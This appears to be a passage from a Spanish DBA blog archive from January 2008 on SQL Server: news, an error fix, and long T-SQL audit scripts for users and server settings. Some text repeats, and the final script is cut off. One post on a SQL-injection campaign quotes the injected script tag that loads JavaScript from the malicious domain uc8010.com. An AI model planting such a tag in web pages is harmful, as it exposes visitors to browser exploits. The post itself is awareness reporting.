Microsoft tiene disponible una nueva página sobre seguridad, Hello Secure World Lo más interesante es que ofrece un laboratorio virtual (hay que instalar Silverlight) con una serie de ejercicios con diversas técnicas de ataques a páginas web, entre ellas la inyección SQL.
A practicar!!
miércoles, 30 de enero de 2008
lunes, 28 de enero de 2008
Se retrasa SQL Server 2008
En este blog de Microsoft, se anuncia que la versión RTM definitiva de Katmai no saldrá hasta el tercer trimestre de este año.
viernes, 25 de enero de 2008
Auditar Usuarios en SQL Server
Los auditores siempre piden ver usuarios con sus roles y sus bbdd por defecto. El siguiente script saca un informe en excel con esos datos para todas las bbdd de un servidor, ordenadas alfabéticamente, todo en una línea
Estos son los datos que extrae
DATABASE
USER NAME
LOGIN NAME
DEFAULT DB
CREATION DATE
MODIFIED
LOGIN TYPE
ROLES
Podéis copiar el script en Query analizer y recordad poner la salida a fichero. El nombre poned el que queráis con la extensión XLS (de excel. o *.HTML si lo queréis en este formato)
Este script es una modificación de otro similar que podéis encontrar en bastantes webs sobre SQL Server y que sinceramente no recuerdo dónde descargué.
Estos son los datos que extrae
DATABASE
USER NAME
LOGIN NAME
DEFAULT DB
CREATION DATE
MODIFIED
LOGIN TYPE
ROLES
Podéis copiar el script en Query analizer y recordad poner la salida a fichero. El nombre poned el que queráis con la extensión XLS (de excel. o *.HTML si lo queréis en este formato)
Este script es una modificación de otro similar que podéis encontrar en bastantes webs sobre SQL Server y que sinceramente no recuerdo dónde descargué.
-- SQL SERVER USERS AUDIT -- Process -- CREATETemp TABLE for Report -- CREATETemp TABLE for Users -- CREATETemp TABLE for Roles -- Populate Db's -- Populate Users -- Populate Roles -- Iterate though each user AND update their roles into a single column for each db -- Return the users, their logins (reports orphaned if so) and their roles SET NOCOUNT ON DECLARE @db varchar (128) DECLARE @defdb varchar(64) DECLARE @createdate varchar (25) DECLARE @lAStmodifieddate varchar(25) DECLARE @logintype varchar(50) DECLARE @loginname varchar(64) CREATE TABLE #rpt ( db varchar(64), Name varchar(128), Loginname varchar(64), defdb varchar (64), CreateDate varchar(25), LAStModifiedDate varchar(25), LoginType varchar(50), Roles varchar(300) ) CREATE TABLE #Temp_Users ( Name varchar(128), Defdb varchar(64), CreateDate datetime, LAStModifiedDate datetime, LoginType varchar(50), Roles varchar(1024), sid varbinary(64) ) CREATE TABLE #Temp_Roles ( Name varchar(128), Role varchar(128) ) DECLARE databASes CURSOR FOR SELECT name FROM master..sysdatabASes OPEN databASes FETCH NEXT FROM databases INTO @db WHILE @@fetch_status = 0 BEGIN DELETE #temp_users INSERT INTO #Temp_Users EXEC('SELECT m.[Name],null AS Defdb, m.CreateDate, m.UpdateDate, LoginType = CASE WHEN m.IsNTName = 1 THEN ''Windows Account'' WHEN m.IsNTGroup = 1 THEN ''Windows Group'' WHEN m.isSqlUser = 1 THEN ''SQL Server User'' WHEN m.isAliased =1 THEN ''Aliased'' WHEN m.isSQLRole = 1 THEN ''SQL Role'' WHEN m.isAppRole = 1 THEN ''Application Role'' ELSE ''Unknown'' END, Roles = '''', sid FROM ['+@db+']..sysusers m WHERE m.SID IS NOT NULL AND name <> ''guest'' ORDER BY m.Name') DELETE #temp_roles INSERT INTO #Temp_Roles EXEC('SELECT MemberName = u.name, DbRole = g.name FROM ['+@db+']..sysusers u,['+@db+']..sysusers g,['+@db+']..sysmembers m WHERE g.uid = m.groupuid AND g.issqlrole = 1 AND u.uid = m.memberuid ORDER BY 1, 2') DECLARE @Name varchar(128) DECLARE @Roles varchar(1024) DECLARE @Role varchar(128) DECLARE UserCursor CURSOR FOR SELECT name FROM #Temp_Users OPEN UserCursor FETCH NEXT FROM UserCursor INTO @Name WHILE @@FETCH_STATUS = 0 BEGIN SET @Roles = '' DECLARE RoleCursor CURSOR FOR SELECT Role FROM #Temp_Roles WHERE Name = @Name OPEN RoleCursor FETCH NEXT FROM RoleCursor INTO @Role WHILE @@FETCH_STATUS = 0 BEGIN IF (@Roles > '') SET @Roles = @Roles + ', '+@Role ELSE SET @Roles = @Role FETCH NEXT FROM RoleCursor INTO @Role END CLOSE RoleCursor DEALLOCATE RoleCursor SET @loginname = 'ALERT ORPHANED!!!' SELECT @createdate = convert(varchar(25),createdate) FROM #temp_users WHERE Name = @Name SELECT @Lastmodifieddate = convert(varchar(25),lastmodifieddate) FROM #temp_users WHERE Name = @Name SELECT @logintype = logintype FROM #temp_users WHERE Name = @Name SELECT @defdb = dbname FROM mASter..syslogins a, #temp_users b WHERE b.name = @name AND a.sid = b.sid SELECT @loginname= loginname FROM mASter..syslogins a, #temp_users b WHERE b.name = @name AND a.sid = b.sid INSERT INTO #rpt VALUES(rtrim(@db),rtrim(@name),isnull(rtrim(@loginname), 'orphaned'),rtrim(@defdb),@createdate,@lastmodifieddate,rtrim(@logintype),'public, '+rtrim(@roles)) FETCH NEXT FROM UserCursor INTO @Name END CLOSE UserCursor DEALLOCATE UserCursor FETCH NEXT FROM databASes INTO @db END CLOSE databASes DEALLOCATE databASes PRINT '<b>' PRINT '<p ALIGN = "left"> Server Name: ' +convert(char(24), @@SERVERNAME)+'</P>' PRINT '<p ALIGN = "left"> Created by: ' + convert(char(30),SESSION_USER)+'</P>' PRINT '<p ALIGN = "left"> Created from: ' + convert(char(30),host_name())+'</P>' PRINT '<p ALIGN = "left"> Date: '+CONVERT(VARCHAR(32), getdate())+'</P>' PRINT '</b>' print '<p ALIGN = "left"><A HREF="http://url de referencia donde se reflejan las políticas en cuanto a usuarios</p></A> ' select '<DIV ALIGN="center"><TABLE BORDER="1" CELLPADDING="8" CELLSPACING="0" BORDERCOLOUR="003366" WIDTH="100%"> <TR BGCOLOR="EEEEEE"><TD CLASS="Title" COLSPAN="8" ALIGN="center"><B><h4>USERS LOGINS AND ROLES</B></h4></TD></TR>' union all select '<TR BGCOLOR="EEEEEE"> <TD ALIGN="left" WIDTH="5%"><B>DATABASE</B> </TD> <TD ALIGN="left" WIDTH="5%"><B>USER NAME</B> </TD> <TD ALIGN="left" WIDTH="5%"><B>LOGIN NAME</B> </TD> <TD ALIGN="left" WIDTH="5%"><B>DEFAULT DB</B> </TD>' union all select '<TD ALIGN="left" WIDTH="5%"><B>CREATION DATE</B> </TD> <TD ALIGN="left" WIDTH="5%"><B>MODIFIED</B> </TD> <TD ALIGN="left" WIDTH="5%"><B>LOGIN TYPE</B> </TD> <TD ALIGN="left" WIDTH="40%"><B>ROLES</B> </TD> </TR>' union all SELECT '<TR> <TD>'+rtrim(db)+'</TD> <TD>'+rtrim(name)+'</TD> <TD>'+rtrim(loginname)+'</TD> <TD>'+rtrim(defdb)+'</TD> <TD>'+createdate+'</TD> <TD>'+lastmodifieddate+'</TD> <TD>'+rtrim(logintype)+' </TD> <TD>'+rtrim(roles)+'</TD> </TR>' FROM #rpt UNION ALL SELECT '</table>' DROP TABLE #Temp_Users DROP TABLE #Temp_Roles DROP TABLE #rpt SET NOCOUNT OFF
miércoles, 23 de enero de 2008
Nuevo ataque de inyección SQL
El pasado 7 de Enero se descubrió un nuevo ataque que aprovechaba una vieja vulnerabilidad en MDAC (de abril del 2006)
Básicamente el ataque inserta siguiente código
Básicamente el ataque inserta siguiente código
en JavaScript en las páginas
<script src=http://?.uc8010.com/0.js
>
<
/script>
lo que que provoca que el navegador del visitante se dirija el servidor malicioso (uc8010.com) desde el cual se producirán ataques aprovechando vulnerabilidades de ReaPlayer o Internet Explorer.
Aún a día de hoy más de 100.000 páginas siguen infectadas (http://www.google.es/search?hl=es&q=UC8010&btnG=Buscar&meta= )
como curiosidad más información sobre el dominio malicioso
61.188.0.0 - 61.188.255.255
netname: CHINANET-SC
descr: CHINANET Sichuan province network
descr:
descr: A12,
descr:
country: CN
lunes, 21 de enero de 2008
Nuevo SQL Server 2005 "Best Practices" disponible
Desde SQLCAT anuncian que ya está disponible "Best Practices" para SQL Server 2005. Las novedades vienen sobre todo en el terreno de "Analysis Services" con la incorporación de nuevas reglas. Merece la pena descargarlo
jueves, 17 de enero de 2008
Error 911,level 16 Could not locate entry in sysdatabases for database XXXX
sp_MsForeachdb puede reportar el error 911 si alguna de las bbdd contiene guiones en su nombre (nombre-xxxx)
Puede corregirse poniendo el nombre de la bbdd entre corchetes:
sp_MsForeachdb'Use [?];Insert #filestats (FileID, FileGroupID, FileTotalSizeMB, FileUsedSpaceMB, FileLogicalName, FilePath) exec (''DBCC SHOWFILESTATS WITH NO_INFOMSGS '')'
El error apareción hoy por la mañana al correr el script de monitorización de espacio En uno de los serviodres se habían añadido bbdd para Sharepoint que contenían guiones en el nombre (en la forma Sharepoint-Admincontent-a9d800-xxxxx)
Puede corregirse poniendo el nombre de la bbdd entre corchetes:
sp_MsForeachdb'Use [?];Insert #filestats (FileID, FileGroupID, FileTotalSizeMB, FileUsedSpaceMB, FileLogicalName, FilePath) exec (''DBCC SHOWFILESTATS WITH NO_INFOMSGS '')'
El error apareción hoy por la mañana al correr el script de monitorización de espacio En uno de los serviodres se habían añadido bbdd para Sharepoint que contenían guiones en el nombre (en la forma Sharepoint-Admincontent-a9d800-xxxxx)
miércoles, 16 de enero de 2008
Prueba Ms SQL Server 2008 sin descargarlo
SQLServerbeta ofrece la posibilidad de crearte una cuenta para probar desde un servidor remoto el nuevo SQL Server. Una idea excelente pero para nuestra desgracia, presenta demasiadas limitaciones: Analysis o Reporting services no están disponibles, no hay posibilidad de usar el profiler, no pueden verse consultas dmv y más contras que surgen cada vez que intetas probar alguna cosa.
De todas formas echadle un vistazo por vosotros mimso. Necesitáis registraros y automáticamente optenéis acceso a la página. En el plazo de un día recibiréis la dirección del servidor y una cuenta con la conectaros al servidor remoto.
La web también ofrece la posibildad de acceder a Microsoft E-learning Los cursos están bastante bien para una primera aproximación al nuevo SQL Server 2008
De todas formas echadle un vistazo por vosotros mimso. Necesitáis registraros y automáticamente optenéis acceso a la página. En el plazo de un día recibiréis la dirección del servidor y una cuenta con la conectaros al servidor remoto.
La web también ofrece la posibildad de acceder a Microsoft E-learning Los cursos están bastante bien para una primera aproximación al nuevo SQL Server 2008
martes, 15 de enero de 2008
Resource Governor en Ms SQL 2008
Resource Governor es uno de los grandes adelantos que presenta la nueva versión de SQL Server.
Permite delimitar el uso de recursos a un grupo, aplicación o consulta determinado. También permite monitorizar el progreso de una cosnulta. En concreto podemos limitar el uso de
Podéis leer más y ver algunos ejemplos en el blog oficial de PSS
Permite delimitar el uso de recursos a un grupo, aplicación o consulta determinado. También permite monitorizar el progreso de una cosnulta. En concreto podemos limitar el uso de
- cpu
- tiempos de espera (waits)
- tiempos de parada (idle)
- grado de paralelismo
- bloqueos
- tiempo de ejecución
Podéis leer más y ver algunos ejemplos en el blog oficial de PSS
jueves, 10 de enero de 2008
Adiós Acrobat, adiós
Si estáis cansados del Acrobat Reader, de largas esperas, de cuelgues, de añorar las versiones 3x...
echadle un ojo a Foxit Reader
Abrir un pdf ya no será más una pesadilla
echadle un ojo a Foxit Reader
Abrir un pdf ya no será más una pesadilla
Qué hay instalado en nuestras máquinas
MSI Inventory es una utilidad que revela qué hay instalado o qué piensa Windows que está instalado en un máquina. De gran utilidad, me sirvió para resolver problemas de instalación del 2005 sobre una versión beta (de esas que crees que borras todo pero que al final siempre queda algo por ahí perdido). En este blog tenéis su descripción y ejemplos de su uso.La página original está en reconstrucción, pero el enlace de descarga (un zip) por lo menos en estos momentos funciona
miércoles, 9 de enero de 2008
Lanzamiento de SQL Server 2008
Los próximos 26 y 27 de febrero se producirá el lanzamiento en Madrid, España, de SQL Server 2008, Windows Server 2008 y Visual Studio 2008.
Este es el enlace para quien quiera apuntarse al evento
La versión beta puede descargarse aquí
Este es el enlace para quien quiera apuntarse al evento
La versión beta puede descargarse aquí
Full-Text Indexing
Tengo que reconocer que nunca le he prestado mucha atención a esta capacidad de SQL Server, pero ayer los logs de uno de nuestros servidores (SQL 2000) empezarón a mostrar repetidas entradas de Login failed for user 'NT AUTHORITY\SYSTEM'
Por defecto siempre configuramos SQL Server , SQLServerAgent y demás servicios SQL con la misma cuenta de dominio (password nunca caduca) con privilegios de sysadmin en vez de 'Local system Account' También borramos Builtin Administrators de SQL Server, por supuesto.
EL problema fue que uno de los administradores de Windows habilitó el 'Full text Search' y dejó por defecto 'Local System Account' como cuenta.
SQL 2000 y 7 utilizan un servicio de Windows (cualquier versión lo incluye) llamado Microsoft Search Service. Este servicio ofrece indexación y búsquedas para otras aplicaciones como Exchange o Sharepoint.
En SQL 2005 la cosa cambia bastante; hay un servicio dedicado que trabaja directamente con SQL Server. en este enlace tenéis buena información para el 2005
Ejemplos y explicación en versiones anteriores aquí
Por defecto siempre configuramos SQL Server , SQLServerAgent y demás servicios SQL con la misma cuenta de dominio (password nunca caduca) con privilegios de sysadmin en vez de 'Local system Account' También borramos Builtin Administrators de SQL Server, por supuesto.
EL problema fue que uno de los administradores de Windows habilitó el 'Full text Search' y dejó por defecto 'Local System Account' como cuenta.
SQL 2000 y 7 utilizan un servicio de Windows (cualquier versión lo incluye) llamado Microsoft Search Service. Este servicio ofrece indexación y búsquedas para otras aplicaciones como Exchange o Sharepoint.
En SQL 2005 la cosa cambia bastante; hay un servicio dedicado que trabaja directamente con SQL Server. en este enlace tenéis buena información para el 2005
Ejemplos y explicación en versiones anteriores aquí
martes, 8 de enero de 2008
Vuelven los Auditores I
Fieles a su cita vuelven los auditores a destrozar la tranquilidad y al paz del dba. Creo que ahora nos toca SOX . Así que toca exprimir el cerebro tratando de entender qué demonios piden los auditores y cómo puedes demostrarles que tus servidores cumplen sus normas. Una pesadilla
Aún no nos han dicho qué es exactamente lo que quieren este año. Algo que no suele faltar es lo que véis aquí abajo:
General Information
ProductName Microsoft SQL Server
ProductVersion 8.00.2040
Platform NT INTEL X86
FileVersion 2000.080.2040.00 Hotfix 2140
WindowsVersion 5.0 (2195)
ProcessorCount 4
ProcessorType PROCESSOR_INTEL_PENTIUM
PhysicalMemory 7679 (8052326400)
SERVICES
Service Account Status
MSSqlsrvr LocalSystem Autostart
SQLAgent domain\account Autostart
GENERAL SECURITY
Login Mode SQL and NT
Audit Level Failures
Default Domain domain
Default Login guest
Os dejo el script que genera este informe (No lo he probado aún con el 2005)
Para generarlo directamente en excel, recordad que hay que seleccionar la salida en archivo y luego poned el nombre que queráis con la extensión xls
set nocount on
declare @strHTML varchar (8000)
SET @strHTML = ''
create table #gral ([index] int, [name] varchar (40), internal_value varchar (10), character_value varchar(150))
insert into #gral exec master..xp_msver ProductNAme
insert into #gral exec master..xp_msver ProductVersion
insert into #gral exec master..xp_msver Platform
insert into #gral exec master..xp_msver fileVersion
insert into #gral exec master..xp_msver windowsVersion
insert into #gral exec master..xp_msver ProcessorCount
insert into #gral exec master..xp_msver ProcessorType
insert into #gral exec master..xp_msver PhysicalMemory
select '< DIV ALIGN="center" > < TABLE BORDER="1" CELLPADDING="2" CELLSPACING="0" BORDERCOLOUR="003366" WIDTH="60%" >
< TR BGCOLOR="EEEEEE" > < TD CLASS="Title" COLSPAN="2" ALIGN="center" > < A NAME="GENERAL INFORMATION" > < B > General Information< /B > < /A > < /TD > < /TR >
'
union all
select '< TR > < TD VALIGN= "top" > < I > '+ [name] + '< /I > < /TD > '+
'< TD VALIGN= "top" > '+character_value +' < /TD > '+
'< /TR > ' from #gral
union all
select '< /TABLE > '
drop table #gral
print '< BR > '
declare @ser varchar (40)
set @ser = (SELECT CONVERT(char(20),SERVERPROPERTY('servername')))
--SQLServer
declare @sqlsrv varchar (50)
declare @status varchar (20)
CREATE TABLE #srvr (value VARCHAR(50), data VARCHAR(50))
IF (charindex('\',@ser)=0) -- no es instancia
-- no instance
begin -- = 7 and 2k
insert #srvr exec master..xp_regread 'HKEY_LOCAL_MACHINE' ,'SYSTEM\CurrentControlSet\Services\MSSQLSERVER','ObjectName'
INSERT #srvr EXEC master..xp_regread 'HKEY_LOCAL_MACHINE' ,'SYSTEM\CurrentControlSet\Services\MSSQLSERVER','Start'
GOTO REP
end
else
begin
--instance
DECLARE @RegistryPath varchar(200)
SET @RegistryPath = 'SYSTEM\CurrentControlSet\Services\MSSQL$' + RIGHT(@@SERVERNAME,LEN(@@SERVERNAME)-CHARINDEX('\',@@SERVERNAME))
INSERT #srvr EXEC master..xp_regread 'HKEY_LOCAL_MACHINE' ,@RegistryPath,'ObjectName'
INSERT #srvr EXEC master..xp_regread 'HKEY_LOCAL_MACHINE' ,@RegistryPath,'Start'
GOTO REP
end
REP:
select @sqlsrv = data from #srvr where value = 'ObjectName'
select @status = case data when '2' then 'Autostart'
when '3' then 'Manual'
when '4' then 'Disabled'
end from #srvr
DROP TABLE #srvr
SELECT @strHTML = '< TABLE BORDER="1" CELLPADDING="2" CELLSPACING="0" BORDERCOLOUR="003366" WIDTH="60%" >
< TR BGCOLOR="EEEEEE" > < TD CLASS="Title" COLSPAN="3" ALIGN="center" VALIGN="top" > < B > < A > SERVICES< /B > < /A > < /TD > < /TR >
< TR BGCOLOR="EEEEEE" >
< TD ALIGN="left" WIDTH="25%" > < B > Service< /B > < /TD >
< TD ALIGN="left" WIDTH="50%" > < B > Account< /B > < /TD >
< TD ALIGN="left" WIDTH="25%" > < B > Status< /B > < /TD >
< /TR > '
print @strHTML
--sqlserveragent
CREATE TABLE #AGENT (value VARCHAR(50), data VARCHAR(50))
IF (charindex('\',@ser)=0)
begin
INSERT #AGENT EXEC master..xp_regread 'HKEY_LOCAL_MACHINE' ,'SYSTEM\CurrentControlSet\Services\SQLSERVERAGENT','ObjectName'
INSERT #AGENT EXEC master..xp_regread 'HKEY_LOCAL_MACHINE' ,'SYSTEM\CurrentControlSet\Services\SQLSERVERAGENT','Start'
GOTO REPT
end
else
begin
DECLARE @RegPath varchar(200)
SET @RegPath = 'SYSTEM\CurrentControlSet\Services\SQLAGENT$' + RIGHT(@@SERVERNAME,LEN(@@SERVERNAME)-CHARINDEX('\',@@SERVERNAME))
INSERT #AGENT EXEC master..xp_regread 'HKEY_LOCAL_MACHINE' ,@RegPath,'ObjectName'
INSERT #AGENT EXEC master..xp_regread 'HKEY_LOCAL_MACHINE' ,@RegPath,'Start'
GOTO REPT
end
REPT:
declare @sqlage varchar (50)
declare @statage varchar (20)
select @sqlage = data from #agent where value = 'ObjectName'
select @statage = case data when '2' then 'Autostart'
when '3' then 'Manual'
when '4' then 'Disabled'
end from #agent
DROP TABLE #AGENT
set @strHTML = '< TR > < TD VALIGN= "top" > MSSqlsrvr < /TD > < TD VALIGN= "top" > '+ @sqlsrv +
'< /TD > < TD VALIGN= "top" > '+@status+' < /TD > '+
'< TR > < TD VALIGN= "top" > SQLAgent < /TD > < TD VALIGN= "top" > '+ @sqlage +
'< /TD > < TD VALIGN= "top" > '+@statage+' < /TD > < /TR > < /TABLE > '
print @strHTML
print '< BR > '
---------------------------------
--general security
CREATE TABLE #sec (value VARCHAR(30), data VARCHAR(30))
IF (charindex('\',@ser)=0)
begin
INSERT #sec EXEC master..xp_regread 'HKEY_LOCAL_MACHINE' ,'SOFTWARE\MICROSOFT\MSSQLSERVER\MSSQLSERVER','AuditLevel'
INSERT #sec EXEC master..xp_regread 'HKEY_LOCAL_MACHINE' ,'SOFTWARE\MICROSOFT\MSSQLSERVER\MSSQLSERVER','DefaultDomain'
INSERT #sec EXEC master..xp_regread 'HKEY_LOCAL_MACHINE' ,'SOFTWARE\MICROSOFT\MSSQLSERVER\MSSQLSERVER','DefaultLogin'
INSERT #sec EXEC master..xp_regread 'HKEY_LOCAL_MACHINE' ,'SOFTWARE\MICROSOFT\MSSQLSERVER\MSSQLSERVER', 'LoginMode'
GOTO REPORT
end
else
begin
DECLARE @Path varchar(200)
DECLARE @Path2 varchar(200)
SET @Path = 'SOFTWARE\MICROSOFT\MICROSOFT SQL SERVER\' + RIGHT(@@SERVERNAME,LEN(@@SERVERNAME)-CHARINDEX('\',@@SERVERNAME))+'\MSSQLSERVER'
SET @Path2 ='SOFTWARE\MICROSOFT\MICROSOFT SQL SERVER\' + RIGHT(@@SERVERNAME,LEN(@@SERVERNAME)-CHARINDEX('\',@@SERVERNAME))+'\MSSQLSERVER\CURRENTVERSION'
INSERT #sec EXEC master..xp_regread 'HKEY_LOCAL_MACHINE' ,@Path,'AuditLevel'
INSERT #sec EXEC master..xp_regread 'HKEY_LOCAL_MACHINE' ,@Path,'DefaultDomain'
INSERT #sec EXEC master..xp_regread 'HKEY_LOCAL_MACHINE' ,@Path,'DefaultLogin'
INSERT #sec EXEC master..xp_regread 'HKEY_LOCAL_MACHINE' ,@Path,'LoginMode'
end
GOTO REPORT
REPORT:
declare @loginMode varchar (30)
declare @AuditLevel varchar (30)
declare @DefaultDomain varchar (30)
declare @DefaultLogin varchar (30)
select @LoginMode = case data when '1' then 'NT' when '2' then 'SQL and NT' end from #sec where value = 'LoginMode'
select @AuditLevel =case data when '0' then 'None'
when '1' then 'Success'
when '2' then 'Failures'
when '3' then 'All ' end from #sec where value = 'AuditLevel'
select @DefaultDomain = data from #sec where value = 'defaultDomain'
select @DefaultLogin = data from #sec where value = 'defaultLogin'
drop table #SEC
SELECT @strHTML = '< TABLE BORDER="1" CELLPADDING="2" CELLSPACING="0" BORDERCOLOUR="003366" WIDTH="60%" >
< TR BGCOLOR="EEEEEE" > < TD CLASS="Title" COLSPAN="2" ALIGN="center" VALIGN="top" > < B > < A > GENERAL SECURITY< /B > < /A > < /TD > < /TR >
'
print @strHTML
set @strHTML = '< TR > < TD VALIGN= "top" > < I > Login Mode < /I > < /TD > < TD VALIGN= "top" > ' +
+@LoginMode+' < /TD > '+
'< TR > < TD VALIGN= "top" > < I > Audit Level< /I > < /TD > < TD VALIGN= "top" > ' +
+@AuditLevel+' < /TD > < /TR > ' +
'< TR > < TD VALIGN= "top" > < I > Default Domain< /I > < /TD > < TD VALIGN= "top" > ' +
+@DefaultDomain+' < /TD > < /TR > '+
'< TR > < TD VALIGN= "top" > < I > Default Login< /I > < /TD > < TD VALIGN= "top" > ' +
+@DefaultLogin+' < /TD > < /TR > < /TABLE > < BR > '
print @strHTML
Aún no nos han dicho qué es exactamente lo que quieren este año. Algo que no suele faltar es lo que véis aquí abajo:
General Information
ProductName Microsoft SQL Server
ProductVersion 8.00.2040
Platform NT INTEL X86
FileVersion 2000.080.2040.00 Hotfix 2140
WindowsVersion 5.0 (2195)
ProcessorCount 4
ProcessorType PROCESSOR_INTEL_PENTIUM
PhysicalMemory 7679 (8052326400)
SERVICES
Service Account Status
MSSqlsrvr LocalSystem Autostart
SQLAgent domain\account Autostart
GENERAL SECURITY
Login Mode SQL and NT
Audit Level Failures
Default Domain domain
Default Login guest
Os dejo el script que genera este informe (No lo he probado aún con el 2005)
Para generarlo directamente en excel, recordad que hay que seleccionar la salida en archivo y luego poned el nombre que queráis con la extensión xls
set nocount on
declare @strHTML varchar (8000)
SET @strHTML = ''
create table #gral ([index] int, [name] varchar (40), internal_value varchar (10), character_value varchar(150))
insert into #gral exec master..xp_msver ProductNAme
insert into #gral exec master..xp_msver ProductVersion
insert into #gral exec master..xp_msver Platform
insert into #gral exec master..xp_msver fileVersion
insert into #gral exec master..xp_msver windowsVersion
insert into #gral exec master..xp_msver ProcessorCount
insert into #gral exec master..xp_msver ProcessorType
insert into #gral exec master..xp_msver PhysicalMemory
select '< DIV ALIGN="center" > < TABLE BORDER="1" CELLPADDING="2" CELLSPACING="0" BORDERCOLOUR="003366" WIDTH="60%" >
< TR BGCOLOR="EEEEEE" > < TD CLASS="Title" COLSPAN="2" ALIGN="center" > < A NAME="GENERAL INFORMATION" > < B > General Information< /B > < /A > < /TD > < /TR >
'
union all
select '< TR > < TD VALIGN= "top" > < I > '+ [name] + '< /I > < /TD > '+
'< TD VALIGN= "top" > '+character_value +' < /TD > '+
'< /TR > ' from #gral
union all
select '< /TABLE > '
drop table #gral
print '< BR > '
declare @ser varchar (40)
set @ser = (SELECT CONVERT(char(20),SERVERPROPERTY('servername')))
--SQLServer
declare @sqlsrv varchar (50)
declare @status varchar (20)
CREATE TABLE #srvr (value VARCHAR(50), data VARCHAR(50))
IF (charindex('\',@ser)=0) -- no es instancia
-- no instance
begin -- = 7 and 2k
insert #srvr exec master..xp_regread 'HKEY_LOCAL_MACHINE' ,'SYSTEM\CurrentControlSet\Services\MSSQLSERVER','ObjectName'
INSERT #srvr EXEC master..xp_regread 'HKEY_LOCAL_MACHINE' ,'SYSTEM\CurrentControlSet\Services\MSSQLSERVER','Start'
GOTO REP
end
else
begin
--instance
DECLARE @RegistryPath varchar(200)
SET @RegistryPath = 'SYSTEM\CurrentControlSet\Services\MSSQL$' + RIGHT(@@SERVERNAME,LEN(@@SERVERNAME)-CHARINDEX('\',@@SERVERNAME))
INSERT #srvr EXEC master..xp_regread 'HKEY_LOCAL_MACHINE' ,@RegistryPath,'ObjectName'
INSERT #srvr EXEC master..xp_regread 'HKEY_LOCAL_MACHINE' ,@RegistryPath,'Start'
GOTO REP
end
REP:
select @sqlsrv = data from #srvr where value = 'ObjectName'
select @status = case data when '2' then 'Autostart'
when '3' then 'Manual'
when '4' then 'Disabled'
end from #srvr
DROP TABLE #srvr
SELECT @strHTML = '< TABLE BORDER="1" CELLPADDING="2" CELLSPACING="0" BORDERCOLOUR="003366" WIDTH="60%" >
< TR BGCOLOR="EEEEEE" > < TD CLASS="Title" COLSPAN="3" ALIGN="center" VALIGN="top" > < B > < A > SERVICES< /B > < /A > < /TD > < /TR >
< TR BGCOLOR="EEEEEE" >
< TD ALIGN="left" WIDTH="25%" > < B > Service< /B > < /TD >
< TD ALIGN="left" WIDTH="50%" > < B > Account< /B > < /TD >
< TD ALIGN="left" WIDTH="25%" > < B > Status< /B > < /TD >
< /TR > '
print @strHTML
--sqlserveragent
CREATE TABLE #AGENT (value VARCHAR(50), data VARCHAR(50))
IF (charindex('\',@ser)=0)
begin
INSERT #AGENT EXEC master..xp_regread 'HKEY_LOCAL_MACHINE' ,'SYSTEM\CurrentControlSet\Services\SQLSERVERAGENT','ObjectName'
INSERT #AGENT EXEC master..xp_regread 'HKEY_LOCAL_MACHINE' ,'SYSTEM\CurrentControlSet\Services\SQLSERVERAGENT','Start'
GOTO REPT
end
else
begin
DECLARE @RegPath varchar(200)
SET @RegPath = 'SYSTEM\CurrentControlSet\Services\SQLAGENT$' + RIGHT(@@SERVERNAME,LEN(@@SERVERNAME)-CHARINDEX('\',@@SERVERNAME))
INSERT #AGENT EXEC master..xp_regread 'HKEY_LOCAL_MACHINE' ,@RegPath,'ObjectName'
INSERT #AGENT EXEC master..xp_regread 'HKEY_LOCAL_MACHINE' ,@RegPath,'Start'
GOTO REPT
end
REPT:
declare @sqlage varchar (50)
declare @statage varchar (20)
select @sqlage = data from #agent where value = 'ObjectName'
select @statage = case data when '2' then 'Autostart'
when '3' then 'Manual'
when '4' then 'Disabled'
end from #agent
DROP TABLE #AGENT
set @strHTML = '< TR > < TD VALIGN= "top" > MSSqlsrvr < /TD > < TD VALIGN= "top" > '+ @sqlsrv +
'< /TD > < TD VALIGN= "top" > '+@status+' < /TD > '+
'< TR > < TD VALIGN= "top" > SQLAgent < /TD > < TD VALIGN= "top" > '+ @sqlage +
'< /TD > < TD VALIGN= "top" > '+@statage+' < /TD > < /TR > < /TABLE > '
print @strHTML
print '< BR > '
---------------------------------
--general security
CREATE TABLE #sec (value VARCHAR(30), data VARCHAR(30))
IF (charindex('\',@ser)=0)
begin
INSERT #sec EXEC master..xp_regread 'HKEY_LOCAL_MACHINE' ,'SOFTWARE\MICROSOFT\MSSQLSERVER\MSSQLSERVER','AuditLevel'
INSERT #sec EXEC master..xp_regread 'HKEY_LOCAL_MACHINE' ,'SOFTWARE\MICROSOFT\MSSQLSERVER\MSSQLSERVER','DefaultDomain'
INSERT #sec EXEC master..xp_regread 'HKEY_LOCAL_MACHINE' ,'SOFTWARE\MICROSOFT\MSSQLSERVER\MSSQLSERVER','DefaultLogin'
INSERT #sec EXEC master..xp_regread 'HKEY_LOCAL_MACHINE' ,'SOFTWARE\MICROSOFT\MSSQLSERVER\MSSQLSERVER', 'LoginMode'
GOTO REPORT
end
else
begin
DECLARE @Path varchar(200)
DECLARE @Path2 varchar(200)
SET @Path = 'SOFTWARE\MICROSOFT\MICROSOFT SQL SERVER\' + RIGHT(@@SERVERNAME,LEN(@@SERVERNAME)-CHARINDEX('\',@@SERVERNAME))+'\MSSQLSERVER'
SET @Path2 ='SOFTWARE\MICROSOFT\MICROSOFT SQL SERVER\' + RIGHT(@@SERVERNAME,LEN(@@SERVERNAME)-CHARINDEX('\',@@SERVERNAME))+'\MSSQLSERVER\CURRENTVERSION'
INSERT #sec EXEC master..xp_regread 'HKEY_LOCAL_MACHINE' ,@Path,'AuditLevel'
INSERT #sec EXEC master..xp_regread 'HKEY_LOCAL_MACHINE' ,@Path,'DefaultDomain'
INSERT #sec EXEC master..xp_regread 'HKEY_LOCAL_MACHINE' ,@Path,'DefaultLogin'
INSERT #sec EXEC master..xp_regread 'HKEY_LOCAL_MACHINE' ,@Path,'LoginMode'
end
GOTO REPORT
REPORT:
declare @loginMode varchar (30)
declare @AuditLevel varchar (30)
declare @DefaultDomain varchar (30)
declare @DefaultLogin varchar (30)
select @LoginMode = case data when '1' then 'NT' when '2' then 'SQL and NT' end from #sec where value = 'LoginMode'
select @AuditLevel =case data when '0' then 'None'
when '1' then 'Success'
when '2' then 'Failures'
when '3' then 'All ' end from #sec where value = 'AuditLevel'
select @DefaultDomain = data from #sec where value = 'defaultDomain'
select @DefaultLogin = data from #sec where value = 'defaultLogin'
drop table #SEC
SELECT @strHTML = '< TABLE BORDER="1" CELLPADDING="2" CELLSPACING="0" BORDERCOLOUR="003366" WIDTH="60%" >
